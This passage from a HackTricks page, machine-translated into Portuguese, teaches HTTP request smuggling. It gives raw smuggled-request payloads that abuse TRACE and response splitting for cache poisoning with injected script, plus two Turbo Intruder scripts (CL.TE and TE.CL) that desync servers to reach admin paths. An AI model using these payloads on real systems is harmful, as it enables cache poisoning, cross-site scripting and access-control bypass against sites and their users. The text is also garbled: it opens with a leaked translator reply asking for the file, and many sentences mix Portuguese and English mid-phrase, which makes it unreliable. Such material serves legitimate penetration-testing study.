Por favor, cole o conteúdo do arquivo src/pentesting-web/http-request-smuggling/README.md que deseja que eu traduza para português. Vou manter exatamente a mesma sintaxe Markdown/HTML e não traduzirei código, nomes de técnicas, links, paths ou tags.
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Um exemplo de como abusar desse comportamento seria smuggle first a HEAD request. Esse pedido será respondido apenas com os headers de um GET request (Content-Type
entre eles). E smuggle immediately after the HEAD a TRACE request, que será reflecting the sent data.
Como a resposta ao HEAD conterá um cabeçalho Content-Length
, a response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data na resposta.
Essa resposta será enviada para a próxima request pela conexão, então isso poderia ser used in a cached JS file for example to inject arbitrary JS code.
Abusing TRACE via HTTP Response Splitting
Seguir this post é sugerido como outra forma de abusar do método TRACE. Como comentado, ao smuggle um HEAD request e um TRACE request é possível control some reflected data na resposta ao HEAD request. O comprimento do corpo do HEAD request é basicamente indicado no cabeçalho Content-Length e é formado pela resposta ao TRACE request.
Portanto, a nova ideia seria que, conhecendo esse Content-Length e os dados fornecidos na TRACE response, é possível fazer com que a TRACE response contenha uma HTTP response válida após o último byte do Content-Length, permitindo que um atacante controle completamente a request para a próxima resposta (o que poderia ser usado para realizar um cache poisoning).
Example:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Isso gerará estas respostas (observe como a resposta HEAD tem um Content-Length, fazendo com que a resposta TRACE seja parte do corpo da HEAD e, uma vez que o Content-Length da HEAD termina, uma resposta HTTP válida é smuggled):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
Potencializando HTTP Request Smuggling com HTTP Response Desynchronisation
Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la? Experimente estes outros métodos de exploração:
HTTP Response Smuggling / Desync
Outras técnicas de HTTP Request Smuggling
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder scripts
CL.TE
From https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
De: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Ferramentas
- HTTP Hacker (Burp BApp Store) – visualizar concatenação/framing e comportamento HTTP de baixo nível
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Esta ferramenta é um HTTP Fuzzer baseado em gramática útil para encontrar discrepâncias estranhas de request smuggling.
Referências
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- Cuidado com o falso falso‑positivo: como distinguir HTTP pipelining de request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
- https://portswigger.net/research/http1-must-die
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.